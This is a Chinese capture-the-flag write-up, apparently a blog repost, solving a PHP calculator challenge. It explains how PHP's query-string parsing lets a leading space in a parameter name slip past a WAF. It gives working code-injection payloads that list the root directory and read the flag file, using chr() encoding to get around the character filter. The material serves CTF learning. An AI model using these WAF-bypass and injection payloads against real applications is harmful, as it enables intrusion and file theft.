進入題目是一個計算器的功能界面
查看源代碼,可以發現是有WAF的,且存在一個calc.php檔案
這里接收一個num引數,可以看到這里創建了一個黑名單串列,然后用正則是去匹配,進行非法引數的過濾,
那這題就是要繞過這個過濾和過一個WAF了,先傳入一個?num=1測驗一下,
傳入字母就會報錯,這里應該是被WAF檔案給攔截了,
要對這WAF進行繞過,這里就涉及到一個知識點了,
PHP的字串決議特性
我們知道PHP將查詢字串(在URL或正文中)轉換為內部$_GET或的關聯陣列$_POST,例如:/?foo=bar變成Array([foo] => “bar”),值得注意的是,查詢字串在決議的程序中會將某些字符洗掉或用下劃線代替,例如,/?%20news[id%00=42會轉換為Array([news_id] => 42),如果一個IDS/IPS或WAF中有一條規則是當news_id引數的值是一個非數字的值則攔截,那么我們就可以用以下陳述句繞過:
/news.php?%20news[id%00=42"+AND+1=0–
上述PHP陳述句的引數%20news[id%00的值將存盤到$_GET[“news_id”]中,
HP需要將所有引數轉換為有效的變數名,因此在決議查詢字串時,它會做兩件事:
1.洗掉空白符
2.將某些字符轉換為下劃線(包括空格)
在了解到PHP的字串決議之后,我們思考一個問題,WAF它不讓num引數傳入字母,所以我們不能讓WAF檔案檢測到字母,但是我們又需要傳入字母來構成我們的命令,這種情況下我們該怎么對其進行繞過呢?
繞過方法
因為num不可以傳入字母,但是我們在num引數之前添加一個空格,這樣在PHP的語言特性下會默認洗掉這個空格,但是WAF會因為這個空格導致檢測不到num這個引數,最終導致WAF被繞過,
Payload
http://node4.buuoj.cn:25591/calc.php?num=a #被攔截
http://node4.buuoj.cn:25591/calc.php? num=a #繞過WAF
現在我們就對WAF進行了繞過,接下來就是一些常規操作了,
http://node4.buuoj.cn:25591/calc.php? num=var_dump(scandir(chr(47)))
scandir():列出 引數目錄 中的檔案和目錄,要不然我們怎么知道flag在哪,
因為過濾了"/"符號,所以我們用chr(47)進行繞過
最終Payload
http://node4.buuoj.cn:25591/calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/296074.html
標籤:其他
上一篇:橢圓曲率演算法不同曲線的安全性
